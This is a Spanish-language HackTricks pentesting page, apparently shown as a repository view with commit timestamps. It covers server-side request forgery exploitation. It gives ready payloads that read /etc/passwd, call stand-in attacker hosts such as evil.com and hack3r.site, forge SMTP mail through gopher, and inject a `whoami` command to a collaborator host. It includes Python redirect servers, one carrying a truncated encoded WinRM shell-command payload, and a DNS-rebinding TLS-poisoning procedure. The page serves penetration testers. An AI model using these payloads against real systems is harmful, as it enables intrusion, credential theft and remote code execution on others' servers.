hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

344 lines
24 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# SSRF (Server Side Request Forgery)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a la aplicación del lado del servidor a realizar solicitudes HTTP a un dominio arbitrario** de la elección del atacante. (De [aquí](https://portswigger.net/web-security/ssrf))
2023-06-05 18:33:24 +00:00
## Captura SSRF
2023-06-05 18:33:24 +00:00
Lo primero que necesitas hacer es capturar una interacción SSRF provocada por ti. Para capturar una interacción HTTP o DNS puedes usar herramientas como:
2023-06-05 18:33:24 +00:00
* **Burpcollab**
* [**pingb**](http://pingb.in)
* [**canarytokens**](https://canarytokens.org/generate)
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
## Bypass de Dominios en Lista Blanca
2023-06-05 18:33:24 +00:00
Usualmente encontrarás que el SSRF solo funciona en **ciertos dominios en lista blanca** o URL. En la siguiente página tienes una **compilación de técnicas para intentar eludir esa lista blanca**:
2023-06-05 18:33:24 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Bypass a través de redirección abierta
2023-06-05 18:33:24 +00:00
Si el servidor está correctamente protegido podrías **eludir todas las restricciones explotando una Redirección Abierta dentro de la página web**. Debido a que la página web permitirá **SSRF al mismo dominio** y probablemente **seguirá redirecciones**, puedes explotar la **Redirección Abierta para hacer que el servidor acceda a cualquier recurso interno**.\
Lee más aquí: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2023-06-05 18:33:24 +00:00
## Protocolos
### file://
```
file:///etc/passwd
```
### dict://
El esquema de URL DICT se utiliza para referirse a definiciones o listas de palabras disponibles mediante el protocolo DICT:
2023-06-05 18:33:24 +00:00
```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
### SFTP://
Un protocolo de red utilizado para la transferencia segura de archivos sobre secure shell
2023-06-05 18:33:24 +00:00
```
ssrf.php?url=sftp://evil.com:11111/
```
### TFTP://
Trivial File Transfer Protocol, funciona sobre UDP
2023-06-05 18:33:24 +00:00
```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
### LDAP://
Protocolo Ligero de Acceso a Directorios. Es un protocolo de aplicación utilizado sobre una red IP para gestionar y acceder al servicio de información de directorios distribuidos.
2023-06-05 18:33:24 +00:00
```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
### Gopher://
Usando este protocolo puedes especificar la **IP, puerto y bytes** que quieres que el servidor **envíe**. Luego, puedes básicamente explotar un SSRF para **comunicarte con cualquier servidor TCP** (pero necesitas saber cómo hablar con el servicio primero).\
Afortunadamente, puedes usar [Gopherus](https://github.com/tarunkant/Gopherus) para crear cargas útiles para varios servicios. Adicionalmente, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) puede ser utilizado para crear cargas útiles _gopher_ para servicios _Java RMI_.
2023-06-05 18:33:24 +00:00
**Gopher smtp**
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
**Gopher HTTP**
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — Conexión inversa a 1337**
2023-06-05 18:33:24 +00:00
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
2023-06-05 18:33:24 +00:00
### SMTP
De [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
1\. Conectar con SSRF en smtp localhost:25\
2\. Desde la primera línea obtener el nombre de dominio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
3\. Buscar[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) en github, encontrar subdominios\
4\. Conectar
2023-06-05 18:33:24 +00:00
### Curl URL globbing - Evasión de WAF
2023-06-05 18:33:24 +00:00
Si el SSRF se ejecuta mediante **curl**, curl tiene una característica llamada [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que podría ser útil para evadir WAFs. Por ejemplo, en este [**informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puedes encontrar este ejemplo para un **path traversal vía protocolo `file`**:
2023-06-05 18:33:24 +00:00
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
## Captura de peticiones SSRF
2023-06-05 18:33:24 +00:00
* Burp Collaborator
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://app.interactsh.com/](https://app.interactsh.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator usando ngrok
2023-06-05 18:33:24 +00:00
## SSRF a través del encabezado Referrer
2023-06-05 18:33:24 +00:00
Algunas aplicaciones utilizan software de análisis del lado del servidor que rastrea a los visitantes. Este software a menudo registra el encabezado Referrer en las solicitudes, ya que esto es de particular interés para el seguimiento de enlaces entrantes. A menudo, el software de análisis visitará cualquier URL de terceros que aparezca en el encabezado Referrer. Esto se hace típicamente para analizar el contenido de los sitios de referencia, incluyendo el texto ancla que se utiliza en los enlaces entrantes. Como resultado, el encabezado Referer a menudo representa una superficie de ataque fructífera para las vulnerabilidades SSRF.\
Para descubrir este tipo de vulnerabilidades "ocultas" podrías usar el complemento "**Collaborator Everywhere**" de Burp.
2023-06-05 18:33:24 +00:00
## SSRF a través de datos SNI del certificado
2023-06-05 18:33:24 +00:00
La configuración errónea más simple que te permitiría conectarte a un backend arbitrario se vería algo así:
2023-06-05 18:33:24 +00:00
```nginx
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-06-05 18:33:24 +00:00
}
```
Aquí, el valor del campo SNI se utiliza directamente como la dirección del backend.
Con esta configuración insegura, podemos **explotar la vulnerabilidad SSRF simplemente especificando la IP o nombre de dominio deseado en el campo SNI**. Por ejemplo, el siguiente comando forzaría a Nginx a conectarse a _internal.host.com_:
2023-06-05 18:33:24 +00:00
```bash
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
```
## [Subida de archivo con Wget](../file-upload/#wget-file-upload-ssrf-trick)
2023-06-05 18:33:24 +00:00
## SSRF con Inyección de Comandos
2023-06-05 18:33:24 +00:00
Podría valer la pena probar un payload como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
2023-06-05 18:33:24 +00:00
## Renderizado de PDFs
2023-06-05 18:33:24 +00:00
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar JS que será ejecutado por el creador del PDF** (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2023-06-05 18:33:24 +00:00
## De SSRF a DoS
Crea varias sesiones e intenta descargar archivos pesados explotando el SSRF desde las sesiones.
2023-06-05 18:33:24 +00:00
## Funciones PHP de SSRF
2023-06-05 18:33:24 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Redirigido a Gopher
2023-06-05 18:33:24 +00:00
Para algunas explotaciones podrías necesitar **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
2023-06-05 18:33:24 +00:00
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%7
self.end_headers()
2023-06-05 18:33:24 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
```python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
2023-06-05 18:33:24 +00:00
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## DNS Rebidding CORS/SOP bypass
2023-06-05 18:33:24 +00:00
Si tienes **problemas** para **exfiltrar contenido de una IP local** debido a **CORS/SOP**, **DNS Rebidding** puede usarse para eludir esa limitación:
2023-06-05 18:33:24 +00:00
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### DNS Rebidding Automatizado
2023-06-05 18:33:24 +00:00
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para cambiar la dirección IP del nombre del servidor DNS del atacante a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.
2023-06-05 18:33:24 +00:00
Consulta también el **servidor público en funcionamiento en** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\*
2023-06-05 18:33:24 +00:00
## DNS Rebidding + TLS Session ID/Session ticket
2023-06-05 18:33:24 +00:00
Requisitos:
* **SSRF**
* **Sesiones TLS salientes**
* **Cosas en puertos locales**
Ataque:
1. Pedir al usuario/bot **acceder** a un **dominio** controlado por el **atacante**
2. El **TTL** del **DNS** es de **0** seg (así que la víctima verificará la IP del dominio de nuevo pronto)
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce el **payload dentro** del **ID de Sesión o Ticket de Sesión**.
4. El **dominio** comenzará un **bucle infinito** de redirecciones contra **sí mismo**. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice **de nuevo** una **solicitud DNS** del dominio.
5. En la solicitud DNS se proporciona una **dirección IP privada** **ahora** (127.0.0.1 por ejemplo)
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo **enviará** el **ID de Sesión/Ticket** (donde estaba contenido el **payload** del atacante). Así que felicidades, has logrado que el **usuario/bot se ataque a sí mismo**.
2023-06-05 18:33:24 +00:00
Ten en cuenta que durante este ataque, si quieres atacar localhost:11211 (_memcache_) necesitas hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el **puerto siempre debe ser el mismo**).\
Para **realizar este ataque puedes usar la herramienta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Para **más información** echa un vistazo a la charla donde se explica este ataque: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
2023-06-05 18:33:24 +00:00
## SSRF Ciego
2023-06-05 18:33:24 +00:00
La diferencia entre un SSRF ciego y uno que no lo es, es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades bien conocidas.
2023-06-05 18:33:24 +00:00
### SSRF basado en tiempo
**Comprobando el tiempo** de las respuestas del servidor podría ser **posible saber si un recurso existe o no** (quizás toma más tiempo acceder a un recurso existente que a uno que no existe)
2023-06-05 18:33:24 +00:00
## Explotación de SSRF en la Nube
2023-06-05 18:33:24 +00:00
Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de un entorno en la nube, podrías obtener información interesante sobre el entorno de la nube e incluso credenciales:
2023-06-05 18:33:24 +00:00
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## Plataformas Vulnerables a SSRF
2023-06-05 18:33:24 +00:00
Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, revísalas en:
2023-06-05 18:33:24 +00:00
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## Herramientas
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
Herramienta para detectar y explotar vulnerabilidades SSRF
2023-06-05 18:33:24 +00:00
### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Artículo sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
2023-06-05 18:33:24 +00:00
Esta herramienta genera cargas útiles Gopher para:
2023-06-05 18:33:24 +00:00
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [Artículo sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
2023-06-05 18:33:24 +00:00
_remote-method-guesser_ es un escáner de vulnerabilidades _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar directamente cargas útiles _gopher_ listas para usar.
2023-06-05 18:33:24 +00:00
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy es un servidor proxy HTTP multi-hilo diseñado para tunelizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).
2023-06-05 18:33:24 +00:00
### Para practicar
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
## Referencias
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}